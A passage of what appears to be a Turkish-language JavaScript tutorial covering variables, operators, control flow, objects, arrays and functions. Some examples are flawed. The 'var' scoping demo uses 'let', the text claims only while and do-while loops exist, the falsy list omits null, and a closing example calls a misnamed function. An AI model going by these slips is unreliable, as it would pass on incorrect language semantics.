şimdiden belirtmeliyiz ki JavaScript'te değer atamadan da değişken tanımlamak mümkündür. Bunu yaparsanız, değişkenin türü <code>undefined</code> olur, bu da bize <code>undefined</code> türünün aslında bir sabit olduğunu gösterir.</p> - -<p>Javascript, <code>true</code> (doğru) ve <code>false</code> (yanlış) değerlerini alabilen bir boolean türüne sahiptir. Aşağıdaki kurallar dahilinde her değer boolean'e çevrilebilir:</p> - -<ol> - <li> <code>false</code>, <code>0</code>, boş stringler (<code>""</code>), <code>NaN</code>, ve <code>undefined </code>değerlerinin tamamı <code>false</code>,</li> - <li>Kalan tüm değerler <code>true</code> olur.</li> -</ol> - -<p>Bu dönüşümü, <code>Boolean()</code> fonksiyonunu kullanarak kolayca gerçekleştirebilirsiniz:</p> - -<pre class="brush: js"><code>Boolean(''); // false -Boolean(234); // true</code></pre> - -<p>Ancak bu dönüşüm çoğu zaman gereksizdir çünkü Javascript bir boolean -bir if else ifadesi gibi (aşağıda görebilirsiniz)- beklediğinde bu dönüşümü sessizce gerçekleştirir. Bu nedenle "doğru değerler" ve "yanlış değerler"den bahsederken aslında <code>true</code> ve <code>false</code> haline gelen değerlerden bahsediyoruz. Bu sizin true ve false değerleri yerine "truthy" ve "falsy" gibi sözcükler de kullanabileceğiniz anlamına gelir.</p> - -<p><code>&&</code> (ve), <code>||</code> (veya), ve <code>!</code> (değil) gibi mantıksal boolean işlemleri desteklenmektedir; aşağıda daha fazla bilgi bulabilirsiniz.</p> - -<h2 id="Değişkenler">Değişkenler</h2> - -<p>Javascript'de yeni değişkenler <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code>, veya <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var" title="/en/JavaScript/Reference/Statements/var">var</a></code> anahtar kelimeleri ile tanımlanır.</p> - -<p><code>let</code>, blok-düzeyinde değişkenleri tanımlamaya yarar. Tanımlanan değişken sadece kapsadığı blok dahilinde geçerlidir.</p> - -<pre class="brush: js">let a; -let isim = "eren"; -</pre> - -<p>Aşağıda <code><strong>let</strong></code> ile tanımlanmış bir değişken örneği görebilirsiniz:</p> - -<pre class="brush: js">// letDegiskenim burada kullanılabilir *değil* - -for (let letDegiskenim = 0; letDegiskenim < 5; letDegiskenim++) { - // letDegiskenim sadece burada kullanılabilir -} - -// letDegiskenim burada kullanılabilir *değil* -</pre> - -<p><code><strong>const</strong></code> ile ileride değiştirme amacınız olmayan değişkenler tanımlayabilirsiniz. Değişken sadece içinde tanımlandığı <em>blokta </em>kullanılabilir.</p> - -<pre class="brush: js">const Pi = 3.14; -Pi = 1; // const değişkenlerine yeni değerler atanamayacağı için hata verecektir.</pre> - -<p><code><strong>var</strong></code><strong> </strong>en çok kullanılan tanımlayıcı anahtar sözcüktür. <code>let</code> ve <code>const</code>'daki kısıtlamalar bu anahtar sözcükte geçerli değildir. Bunun nedeni Javascript'de geçmişten beri bir değişken tanımlamak için <strong><code>var</code> </strong>kullanılmasıdır. Bu anahtar sözcükle tanımlanan değişkenler, tanımlandığı <em>fonksiyon</em> içerisinde kullanılabilir.</p> - -<pre class="brush: js">var a; -var isim = 'eren';</pre> - -<p>Aşağıda <strong><code>var</code></strong> ile tanımlanmış bir değişken örneği görebilirsiniz:</p> - -<pre class="brush: js">// varDegiskenim burada kullanılabilir - -for (let varDegiskenim = 0; varDegiskenim < 5; varDegiskenim++) { - // varDegiskenim tüm fonksiyon için kullanılabilir -} - -// varDegiskenim burada kullanılabilir</pre> - -<p>Eğer bir değişkeni değer atamadan tanımlarsanız, türü <code>undefined</code> olur.</p> - -<p>Javascript ve Java gibi diller arasındaki önemli bir fark, Javascript'de blokların değil sadece fonksiyonların kapsama alanınından bahsedebilmemizdir. Yani bileşik bir ifade (örneğin bir <code>if</code> kontrol yapısı gibi) içerisinde <code>var</code> ile tanımlanan değişken, tüm fonksiyon içerisinde kullanılabilir. Ancak, ESMAScript 2015'den beri, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> ve <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> tanımlayıcıları size blok-düzeyinde değişkenler oluşturmanıza yarar.</p> - -<h2 id="Operatörler">Operatörler</h2> - -<p>Javascript'de <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> ve <code>%</code> gibi sayısal operatörler bulunur. (%: "kalan" operatörüdür ve modülüs ile aynı değildir.). Değerler <code>=</code> ile atanır, ayrıca <code>+=</code> ve <code>-=</code> gibi bileşke atama ifadeleri de kullanılabilir.</p> - -<pre class="brush: js">x += 5; -x = x + 5; -</pre> - -<p> <code>++</code> and <code>--</code> operatörlerini sırasıyla arttırmak ve azaltmak için kullanabilirsiniz. Bu operatörler, değerden önce veya sonra yazılabilir (++deger ve deger++ gibi).</p> - -<p><a href="/en/JavaScript/Reference/Operators/String_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/String_Operators"><code>+</code> operator</a>ü stringleri birbirine bağlamak için de kullanılabilir:</p> - -<pre class="brush: js">> "merhaba" + " dünya" -merhaba dünya -</pre> - -<p>Eğer bir sayıya (veya herhangi bir değere) string eklerseniz, her şey stringe dönüştürülür. Aşağıdaki örneğe bir göz atın:</p> - -<pre class="brush: js">> '3' + 4 + 5 // "345" -> 3 + 4 + '5' // "75" -</pre> - -<p>Bir değere boş string ekleyerek onu stringe dönüştürmek pratik bir yoldur.</p> - -<p>Javascript'de <a href="/en/JavaScript/Reference/Operators/Comparison_Operators">karşılaştırmalar</a> <code><</code>, <code>></code>, <code><=</code> ve <code>>=</code> ile yapılır. Bu operatörleri hem string hem de sayı değerleri için kullanabilirsiniz. Eşitlik ise bundan biraz daha karmaşık bir konudur. Çift-eşitlik operatörü, aşağıda görebileceğiniz gibi farklı türleri karşılaştırdığınızda düşündüğünüzden farklı sonuçlar verebilir:</p> - -<pre class="brush: js">123 == '123' // true -1 == true; // true -</pre> - -<p>Farklı türlerle çalışırken bu tarz karışıklıklarlardan kaçınmak için üçlü-eşitlik operatörünü kullanın:</p> - -<pre class="brush: js">123 === '123'; // false -1 === true; // false -</pre> - -<p>Javascript'de ayrıca <code>!=</code> ve <code>!==</code> operatörleri de vardır.</p> - -<p>Eğer bit-dizeyinde işlemlerle ilgileniyorsanız <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">buraya </a>tıklayarak referans belgelerinden daha ayrıntılı bilgi alabilirsiniz.</p> - -<h2 id="Kontrol_yapıları">Kontrol yapıları</h2> - -<p>Javascript, C ailesine benzer nitelikte kontrol yapılarına sahiptir. Koşullu ifadeler <code>if</code> ve <code>else</code> ile desteklenir; isterseniz onları aşağıda göreceğiniz gibi birlikte kullanabilirsiniz:</p> - -<pre class="brush: js">var isim = 'kediler'; -if (isim == 'köpekler') { - isim += 'havlar'; -} else if (isim == 'kediler') { - isim += 'miyavlar'; -} else { - isim += '!'; -} -isim == 'kediler miyavlar';</pre> - -<p>JavaScript'de iki tür döngü (loop) vardır: <code>while</code> ve <code>do-while</code> . İlki basit döngüler için idealken; ikincisi, döngünün gövdesinin en az bir kez yürütüldüğünden emin olmak istediğiniz döngüler içindir:</p> - -<pre class="brush: js">while (true) { - // sonsuz döngü! -} - -var input; -do { - input = get_input(); -} while (inputIsNotValid(input)) -</pre> - -<p>JavaScript'de <code>for</code> döngüsü aynı C ve Java'daki gibidir, döngünün kontrol bilgisini tek bir satıra yazmanıza olanak sağlar.</p> - -<pre class="brush: js">for (var i = 0; i < 5; i++) { - // 5 kez yürütülecektir -} -</pre> - -<p>JavaScript'de ayrıca döngüler için iki önemli ifade vardır: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a></p> - -<pre class="brush: js"><code>for (let value of array) { - // value değeri ile ilgili bir şey yap -}</code></pre> - -<p>ve <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>:</p> - -<pre class="brush: js"><code>for (let property in object) { - // object'e ait property değeri ile ilgili bir şey yap -}</code> -</pre> - -<p><code>&&</code> ve <code>||</code> kısa devre mantığı ile çalışır, ikinci işlenecek olan işlenen (operand), ilkine bağlıdır. Bu şekilde <code>null</code> nesnelerinin niteliklerine erişmeden önce kontrol etmek için kullanılabilir:</p> - -<pre class="brush: js">var name = o && o.getName(); -</pre> - -<p>Veya değerleri önbelleğe almak için (falsy değerleri geçersiz olduğunda):</p> - -<pre class="brush: js"><code>var name = cachedName || (cachedName = getName());</code></pre> - -<p>JavaScript koşullu ifadeler için üçlü bir operatöre sahiptir:</p> - -<pre class="brush: js"><code>var giriş_izni = (yaş > 18) ? 'evet' : 'hayır';</code></pre> - -<p><code>switch</code> ifadesi bir sayıya veya string'e bağlı olarak birden fazla kolda kullanılabilir:</p> - -<pre class="brush: js"><code>switch (eylem) { - case 'çiz': - Çizim(); - break; - case 'ye': - Yemek(); - break; - default: - birSeyYapma(); -}</code></pre> - -<p><code>break</code> ifadesini eklemezseniz yürütme esnasında kod bir sonraki seviyeye "atlayacaktır". Bu çoğu zaman isteyeceğiniz bir durum değildir — ancak eğer amacınız fallthrough ( açıkça yeniden yönlendirilmedikçe, yürütme işleminin bir listede sonraki duruma geçtiği durum) yapmak ise yorum eklemeniz debug sürecini kolaylaştıracaktır:</p> - -<pre class="brush: js"><code>switch (a) { - case 1: // fallthrough - case 2: - Yemek(); - break; - default: - birSeyYapma(); -}</code></pre> - -<p><code>default</code> maddesi tamamen isteğe bağlıdır. İsterseniz hem <code>switch</code> kısmında hem de <code>case</code> kısmında ifade kullanabilirsiniz. </p> - -<pre class="brush: js"><code>switch (1 + 3) { - case 2 + 2: - yaşasın(); - break; - default: - aslaGerceklesmez(); -}</code> -</pre> - -<h2 id="Nesneler">Nesneler</h2> - -<p>Javascript nesneleri (objects), basit isim-değer çiftleri olarak düşünülebilir. Bu açıdan diğer dillerdeki karşılıkları aşağıdaki gibidir:</p> - -<ul> - <li>Python'da kütüphane</li> - <li>Perl ve Ruby'de Hash</li> - <li>C and C++'da Hash tabloları</li> - <li>Java'da HashMap</li> - <li>PHP'de İlişkili Diziler</li> -</ul> - -<p>Bu veri yapısının çok yaygın kullanıldığı gerçeği, çok yönlülüğünün bir kanıtıdır. JavaScript'teki her şey bir nesneden oluştuğu için, her JavaScript programı doğal olarak çok sayıda komut çizelgesi (hash table) aramaları içerir.</p> - -<p>"İsim" kısmı bir Javascript string'i iken, değer olarak herhangi bir Javascript değeri yazabilirsiniz — diğer nesneler de dahil. Bu şekilde istediğiniz kadar komplike veri yapıları oluşturabilirsiniz.</p> - -<p>Boş nesne oluşturmanın iki temel yolu vardır:</p> - -<pre class="brush: js"><code>var nesne = new Object();</code></pre> - -<p>Ve:</p> - -<pre class="brush: js"><code>var nesne = {};</code></pre> - -<p>Bunlar semantik olarak eşdeğerdir; ikinci nesne örneğine değişmez sözdizimi (literal syntax) denir ve daha kullanışlıdır. Bu sözdizimi aynı zamanda JSON formatının özüdür ve her zaman tercih edilmelidir.</p> - -<p>Değişmez sözdizimi ile bir nesneyi tamamen tanımlayabilirsiniz:</p> - -<pre class="brush: js"><code>var nesne = { - isim: 'Havuç', - kime: 'Max', - detaylar: { - renk: 'turuncu', - boyut: 12 - } -};</code></pre> - -<p>Özelliklere erişmek için aşağıda gördüğünüz iki yolu da kullanabilirsiniz:</p> - -<pre class="brush: js"><code>nesne.detaylar.renk; // turuncu -nesne['detaylar']['boyut']; // 12</code></pre> - -<p>Aşağıdaki örnekte bir nesne prototipi (<code>Kişi</code>) ve bu prototipin bir örneğini (<code>sen</code>) oluşturacağız:</p> - -<pre class="brush: js"><code>function Kişi(isim, yaş) { - this.isim= isim; - this.yaş = yaş; -} - -// Bir nesne tanımlayalım -var sen = new Kişi('Sen', 24); -// Adı "Sen" olan 24 yaşında bir kişi yaratmış olduk.</code></pre> - -<p><strong>Bir kere oluşturulduktan sonra</strong>, nesnenin değerlerine erişebilmenin iki yolu vardır: </p> - -<pre class="brush: js"><code>// nokta notasyonu -nesne.isim = 'Ayşe'; -</code>var isim = nesne.isim;</pre> - -<p>Ve...</p> - -<pre class="brush: js"><code>// parantez notasyonu -nesne['isim'] = 'Ayşe'; -var isim = nesne['isim']; -// Anahtar (key) tanımlamak için değişken kullanabilirsiniz. -var kullanıcı = prompt('Anahtar değeriniz nedir?') -obj[kullanıcı] = prompt('Anahtarın değeri nedir?')</code> -</pre> - -<p>Yukarıda gördüğünüz örnekler de semantik olarak eşdeğerdir. İkinci metodun avantajı, özelliğin ismi string olarak sunulduğu için, yükleme zamanı (run-time) içerisinde hesaplanmasıdır. Ancak bu yöntemin kullanılması bazı Javascript motoru ve sıkıştırma optimizasyonlarının (minifier optimizations) çalışmasına engel olabilir. Ayrıca parantez notasyonu ile <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">rezerve sözcükler</a>i kullanarak özellik atama ve çağırma işlemleri yapabilirsiniz:</p> - -<pre class="brush: js"><code>obj.for = 'Simon'; // Sözdizimi hatası verecektir çünkü 'for' rezerve sözcüklerden -obj['for'] = 'Simon'; // düzgün çalışır</code></pre> - -<div class="note"> -<p>ECMAScript 5'den itibaren, rezerve sözcükler nesne özelliği olarak kullanılabiliyor. Daha fazla bilgi için: <a href="http://es5.github.io/#x7.6.1">ES5 Spesifikasyonu</a></p> -</div> - -<p>Nesneler ve prototipleri hakkında daha fazla bilgi için <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a> adresini ziyaret edebilirsiniz. Nesne prototipleri ve nesne prototip zincirleri için daha detaylı öğrenmek için: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Kalıtım ve prototip zinciri</a>.</p> - -<div class="note"> -<p>ECMAScript 5'den itibaren, nesne anahtarları parantez notasyonuyla oluşturulmuş değişkenler ile tanımlanabilir. Yani<code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #fff3d4; font-size: 18px;"> </span></font>var telKullanıcı = {}; telKullanıcı[telNum] = 12345</code>yerine sadece <code>{[telNum]: 12345}</code> ifadesini kullanmak mümkündür.</p> -</div> - -<h2 id="Diziler">Diziler</h2> - -<p>Javascript'de diziler (arrays) aslında özel birer nesneden ibarettir. Çoğu açıdan sıradan nesneler gibi çalışırlar (sayısal özelliklere doğal olarak yalnızca <code>[]</code> ile erişilebilir) ancak onları nesnelerden ayıran sihirli bir özellik vardır: '<code>length</code>'. Bu değer her zaman en yüksek index değerinden bir fazladır.</p> - -<p>Dizi oluşturmanın bir yolu aşağıdaki gibidir:</p> - -<pre class="brush: js"><code>var a = new Array(); -a[0] = 'köpek'; -a[1] = 'kedi'; -a[2] = 'tavuk'; -a.length; // 3</code></pre> - -<p>Bir diğer yol ise değişmez dizi (literal array) oluşturmaktır:</p> - -<pre class="brush: js"><code>var a = ['köpek', 'kedi', 'tavuk']; -a.length; // 3</code></pre> - -<p>Fark edebileceğiniz gibi <code>array.length</code> her zaman dizideki öğe sayısı anlamına gelmez. Aşağıdaki örneğe dikkat edin:</p> - -<pre class="brush: js"><code>var a = ['köpek', 'kedi', 'tavuk']; -a[100] = 'tilki'; -a.length; // 101</code></pre> - -<p>Unutmayın — dizinin uzunluğu en yüksek index'den bir fazladır.</p> - -<p>Eğer varolmayan bir dizi index'ini sorgularsanız, <code>undefined</code> sonucunu alırsınız:</p> - -<pre class="brush: js"><code>typeof a[90]; // undefined</code></pre> - -<p>Yukarıda gördüğünüz <code>[]</code> ve <code>length</code> unsurları ile istediğiniz her dizi üzerinden <code>for</code> döngüsü ile geçebilirsiniz:</p> - -<pre class="brush: js"><code>for (var i = 0; i < a.length; i++) { - // a[i] kere ... yap -}</code></pre> - -<p>ES2015, diziler gibi yinelenen nesneler için daha kullanışlı bir <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a> döngüsünü tanıttı:</p> - -<pre class="brush: js"><code>for (const currentValue of a) { - // currentValue kadar ... yap -}</code></pre> - -<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="/en/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a> döngüsü kullanarak da bir dizi üzerinden geçebilirsiniz ancak bu işlem dizi elemanları üzerinden değil, dizi index'i üzerinden işlenir. Ayrıca <code>Array.prototype</code> 'a yeni özellikler eklendiği takdirde, onlar da döngüde yer alacaktır. Bu nedenle bu döngü türü diziler için önerilmez. </p> - -<p>Bir dizi üzerinden geçmenin bir diğer yolu ECMAScript 5 ile eklenen <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a></code> yöntemidir:</p> - -<pre class="brush: js"><code>['köpek', 'kedi', 'tavuk'].forEach(function(currentValue, index, array) { - // currentValue veya array[index] ile ... yap -});</code></pre> - -<p>Bir diziye yeni bir eleman eklemek istiyorsanız aşağıdaki basit metodu uygulamanız yeterli olacaktır:</p> - -<pre><code>a.push(item);</code></pre> - -<p>Diziler için birçok metod mevcuttur. Tam dokümantasyon için <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">buraya </a>tıklayabilirsiniz.</p> - -<table> - <thead> - <tr> - <th scope="col">Metod ismi</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>a.toString()</code></td> - <td> <code>toString()</code> içerisine virgülle ayırarak yazılan her öğeyi string şeklinde <code>return</code> eder.</td> - </tr> - <tr> - <td><code>a.toLocaleString()</code></td> - <td> <code>toLocaleString()</code> içerisine virgülle ayırarak yazılan her öğeyi string şeklinde <code>return</code> eder.</td> - </tr> - <tr> - <td><code>a.concat(item1[, item2[, ...[, itemN]]])</code></td> - <td>Seçilen öğeler eklenmiş bir biçimde yeni bir dizi <code>return</code> eder.</td> - </tr> - <tr> - <td><code>a.join(sep)</code></td> - <td>Diziyi string'e dönüştürür. — öğeleri <code>sep</code> ile ayırarak</td> - </tr> - <tr> - <td><code>a.pop()</code></td> - <td>Son öğeyi siler ve <code>return</code> eder.</td> - </tr> - <tr> - <td><code>a.push(item1, ..., itemN)</code></td> - <td>Öğeleri dizinin sonuna ekler.</td> - </tr> - <tr> - <td><code>a.reverse()</code></td> - <td>Diziyi ters çevirir.</td> - </tr> - <tr> - <td><code>a.shift()</code></td> - <td>İlk değeri siler ve <code>return</code> eder</td> - </tr> - <tr> - <td><code>a.slice(start[, end])</code></td> - <td>Bir alt dizi oluşturur.</td> - </tr> - <tr> - <td><code>a.sort([cmpfn])</code></td> - <td>İsteğe bağlı bir karşılaştırma fonksiyonu alır.</td> - </tr> - <tr> - <td><code>a.splice(start, delcount[, item1[, ...[, itemN]]])</code></td> - <td>Bir bölümü silerek ve yerine daha fazla öğe ile ekleyerek bir diziyi modife etmenizi sağlar.</td> - </tr> - <tr> - <td><code>a.unshift(item1[, item2[, ...[, itemN]]])</code></td> - <td>Öğeleri dizinin başlangıcına ekler.</td> - </tr> - </tbody> -</table> - -<h2 id="Fonksiyonlar">Fonksiyonlar</h2> - -<p>Nesnelerle gibi fonksiyonlar da Javascript'i anlamak için öğrenmeniz gereken ana bileşenlerden biridir. En temel fonksiyon aşağıda görebileceğiniz gibi oldukça kolaydır:</p> - -<pre class="brush: js"><code>function topla(x, y) { - var toplam = x + y; - return toplam; -}</code></pre> - -<p>Javascript fonksiyonları birden fazla adlandırılmış parametre alabileceği gibi, parametresiz de oluşturulabilir. Fonksiyon gövdesi istediğiniz kadar ifade içerebilir ve o fonksiyonda yer alan yerel değişkenler de tanımlayabilir. <code>return</code> ifadesi ile birlikte istediğiniz değer getirilir ve fonksiyon sonlandırılır. Eğer hiçbir return ifadesi kullanılmamışsa (veya değer girilmemiş boş bir <code>return</code> kullanılmışsa) Javascript <code>undefined</code> sonucunu verir.</p> - -<p>Adlandırılmış parametreler tam bir kılavuz niteliğindedir. Fonksiyonun beklediği parametreleri girmeden de çağırabilirsiniz, sonuç olarak karşınıza <code>undefined</code> çıkacaktır.</p> - -<pre class="brush: js"><code>topla(); // NaN -// undefined bir değerle toplama işlemi gerçekleştiremezsiniz.</code></pre> - -<p>Ayrıca fonksiyonun beklediğinden fazla argüman da ekleyebilirsiniz:</p> - -<pre class="brush: js"><code>topla(2, 3, 4); // 5 -// İlk iki değerle işlem yapıp 4'ü ihmal edecektir</code></pre> - -<p>Biraz saçma gelebilir; ama fonksiyonlar, gövdelerinde ek bir değişken olarak bulunan <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">argümanlara</a></code> erişebilir. Argümanlar, fonksiyonlara verilen tüm değerleri kaydeden dizi-benzeri nesnelerdir. Hadi toplama fonksiyonumuzu istediğimiz kadar değer alabileceği şekilde yeniden yazalım:</p> - -<pre class="brush: js"><code>function topla() { - var toplam = 0; - for (var i = 0, j = arguments.length; i < j; i++) { - toplam += arguments[i]; - } - return toplam; -} - -topla(2, 3, 4, 5); // 14</code></pre> - -<p>Yine de bu fonksiyonu kullanmak yerine <code>2 + 3 + 4 + 5</code> yazmak daha mantıklı duruyor. O yüzden bir de ortalama alan bir fonksiyon yazalım:</p> - -<pre class="brush: js"><code>function ort() { - var toplam = 0; - for (var i = 0, j = arguments.length; i < j; i++) { - toplam += arguments[i]; - } - return toplam / arguments.length; -} - -ort(2, 3, 4, 5); // 3.5</code></pre> - -<p>Oldukça kullanışlı, ancak gereksiz ifadeler olması gerekenden fazla kullanılmış gibi. Yazdığımız kodu kısaltmak için argüman dizimizin yerine <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameter syntax</a> yolunu kullanabiliriz. Bu yöntem hem istediğimiz sayıda argümanı fonksiyonumuzda kullanıp hem de kod uzunluğunu minimum seviyede tutmanıza yarar. <strong>Rest parametre operatörü </strong>şu şekilde listeleme yapar: <strong>...değişken,</strong> ve bu değişkenle beraber, fonksiyonla beraber çağrılan tüm argümanların bir listesi. Ayrıca <strong>for </strong>döngüsü yerine<strong> for..of </strong>döngüsünü kullanmamız daha mantıklı olacaktır.</p> - -<pre class="brush: js"><code>function ort(...args) { - var toplam = 0; - for (let value of args) { - toplam += value; - } - return toplam / args.length; -} - -ort(2, 3, 4, 5); // 3.5</code></pre> - -<div class="note"> -<p>Yukarıdaki kodda <strong>args </strong>değişkeni, fonksiyona verilen tüm değerleri tutar.</p> - -<p>Unutmamanız gereken önemli bir ayrıntı: <strong>rest parametre operatörü </strong>nerede tanımlandıysa, tanımladığı satırdan <em>sonraki </em>argümanları belleğe alacaktır. Bir diğer deyişle, fonksiyona verilen ilk değer <strong>firstValue</strong> değişkeninde, kalan argümanlar ise <strong>args</strong>'da saklanacaktır. Bu yararlı bir dil özelliği olsa da bizi yeni bir sorunla başbaşa bırakıyor. <code>avg()</code> fonksiyonu virgülle ayrılan argüman listesini alabilir — ancak eğer dizinin ortalamasını bulmak istersek ne yapmamız gerekir? Fonksiyonu aşağıdaki gibi yazmak iyi bir çözüm olabilir:</p> -</div> - -<pre class="brush: js"><code>function avgArray(arr) { - var toplam = 0; - for (var i = 0, j = arr.length; i < j; i++) { - toplam += arr[i]; - } - return toplam / arr.length; -} - -avgArray([2, 3, 4, 5]); // 3.5</code></pre> - -<p>Yine de önceden oluşturduğumuz fonksiyonu kullanabilmek daha iyi olurdu. Neyseki Javascript, size isteğe bağlı bir dizi argümana sahip bir fonksiyon çağırmanıza olanak sağlıyor. Bunun için tek yapmanız gereken {{jsxref("Function.apply", "apply()")}} metodunu kullanmak.</p> - -<pre class="brush: js"><code>avg.apply(null, [2, 3, 4, 5]); // 3.5</code></pre> - -<p> Bir diğer <code>apply()</code> yöntemi ise argüman olarak dizi kullanmaktır. Bu bilgi dahilinde, fonksiyonların da birer nesne olduğunu tekrardan hatırlamış olalım.</p> - -<div class="note"> -<p>Aynı sonucu <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operatörü</a>nü çağırarak da elde edebilirsiniz.</p> - -<p>Örneğin: <code>avg(...numbers)</code></p> -</div> - -<p>JavaScript ile anonim fonksiyonlar oluşturabilirsiniz.</p> - -<pre class="brush: js"><code>var avg = function() { - var toplam = 0; - for (var i = 0, j = arguments.length; i < j; i++) { - toplam += arguments[i]; - } - return toplam / arguments.length; -};</code></pre> - -<p>Yukarıda gördüğünüz yöntem semantik olarak <code>function avg()</code> ifadesine eşdeğerdir. Oldukça güçlü olan bu yöntem ile normalde ifade yazabileceğiniz her yere fonksiyon tanımı koyabilirsiniz. Bu şekilde zekice hilelere başvurabilirsiniz. Aşağıda gördüğünüz yerel değişken "saklama" yöntemi bunlardan sadece biri:</p> - -<pre class="brush: js"><code>var a = 1; -var b = 2; - -(function() { - var b = 3; - a += b; -})(); - -a; // 4 -b; // 2</code></pre> - -<p>JavaScript, fonksiyonları özyinelemeli (recursively) çağırmanıza olanak sağlar. Bu, özellikle tarayıcı DOM'larında rastlayacağınız ağaç yapıları (tree structures) ile çalışırken oldukça faydalıdır.</p> - -<pre class="brush: js"><code>function countChars(elm) { - if (elm.nodeType == 3) { // TEXT_NODE - return elm.nodeValue.length; - } - var count = 0; - for (var i = 0, child; child = elm.childNodes[i]; i++) { - count += countChars(child); - } - return count; -}</code></pre> - -<p>Bu anonim fonksiyonlarda olası bir sorunu işaret eder. Eğer bu fonksiyonların bir adı yoksa, onları nasıl özyinelemeli çağırabiliriz? Javascript bunun için fonksiyon ifadelerini adlandırmanıza olanak sağlar. Aşağıda görebileceğiniz gibi <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IAIFEs (Immediately Invoked Function Expressions)</a> özelliğini kullanabilirsiniz:</p> - -<pre class="brush: js"><code>var charsInBody = (function counter(elm) { - if (elm.nodeType == 3) { // TEXT_NODE - return elm.nodeValue.length; - } - var count = 0; - for (var i = 0, child; child = elm.childNodes[i]; i++) { - count += counter(child); - } - return count; -})(document.body);</code></pre> - -<p>Yukarıdaki fonksiyona verilen isme sadece fonksiyonun kendi kapsamında erişilebilir. Bu şekilde Javascript motorunun daha fazla optimizasyon yapmasına olanak sağlamış olursunuz, böylelikle kodunuz daha okunur hale gelir. Ayrıca, hata ayıklama yaparken zamandan tasarruf edebilirsiniz.</p> - -<p>Fark ettiyseniz Javascript'de -diğer her şey gibi- fonksiyonlar da birer nesnedir. Böylelikle daha önceki bölümlerde öğrendiğiniz nesnelerdeki gibi, özellik ekleme ve değiştirmeniz mümkündür.</p> - -<h2 id="Özel_nesneler">Özel nesneler</h2> - -<div class="note"> -<p>JavaScript'te nesne yönelimli programlama hakkında daha ayrıntılı bilgiler için <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects">Nesne Yönelimli Javascript'e Giriş</a> sayfasına göz atabilirsiniz.</p> -</div> - -<p>Nesne yönelimli programlamada; nesneler, yine aynı veriler üzerinde işlem yapan veri ve metod koleksiyonlarıdır. Javascript prototip tabanlı bir dil olduğu için, C++ ve Java'nın aksine sınıf (class) kavramına sahip değildir. Javascript'de sınıf yerine fonksiyonlar kullanılır. Ad ve soyad alanları olan bir Kişi fonksiyonu düşünelim. Tam adı görüntülemenin iki yolu olabilir: "ad, soyad" ve "soyad, ad". Fonksiyonları ve nesneleri kullanarak veriyi aşağıda göreceğiniz gibi ekrana yansıtabiliriz:</p> - -<pre class="brush: js"><code>function Kişi(ad, soyad) { - return { - ad: ad, - soyad: soyad - }; -} -function tamİsim(a) { - return a.ad + ' ' + a.soyad; -} -function tamİsimTers(a) { - return a.soyad + ', ' + a.ad; -} - -s = Kişi('Simon', 'Willison'); -tamİsim(s); // "Simon Willison" -tamİsimTers(s); // "Willison, Simon"</code> -</pre> - -<p>Yukarıda gördüğünüz kod çalışacaktır ama oldukça çirkin gözüküyor. Çünkü yapmak istediğiniz işlemler arttıkça global ad alanı (namespace) onlarca fonksiyon ile dolabilir. Bu nedenle yapmamız gereken şey nesnemize fonksiyon eklemek. Fonksiyonlar da birer nesne olduğu için işimiz oldukça kolay:</p> - -<pre class="brush: js"><code>function Kişi(ad, soyad) { - return { - ad: ad, - soyad: soyad, - tamİsim: function() { - return this.ad + ' ' + this.soyad; - }, - tamİsimTers: function() { - return this.soyad + ', ' + this.ad; - } - }; -} - -s = Kişi('Simon', 'Willison'); -s.tamİsim(); // "Simon Willison" -s.tamİsimTers(); // "Willison, Simon"</code></pre> - -<p>Fark ettiyseniz burada yeni bir anahtar kelime kullandık: <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this" title="/en/JavaScript/Reference/Operators/this">this</a></code>. Fonksiyonun içinde kullanıldığında <code>this</code>, geçerli nesneyi ifade eder. Ne anlama geleceği fonksiyonu çağırma yöntemine göre belirlenir. Örneğin; bir nesne üzerinde, fonksiyonu <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Accessing_properties">nokta notasyonu veya parantez notasyonu</a> ile çağırırsanız, o nesne <code>this</code> olur. Eğer nokta notasyonu çağrı işleminde kullanılmadıysa <code>this</code> global nesneyi ifade eder.</p> - -<p><code>this</code> anahtar sözcüğü birçok hataya sebep olabilir. Aşağıdaki örneğe bir göz atın:</p> - -<pre class="brush: js"><code>s = Kişi('Simon', 'Willison'); -var tamİsim = s.tamİsim; -fullName(); // undefined undefined 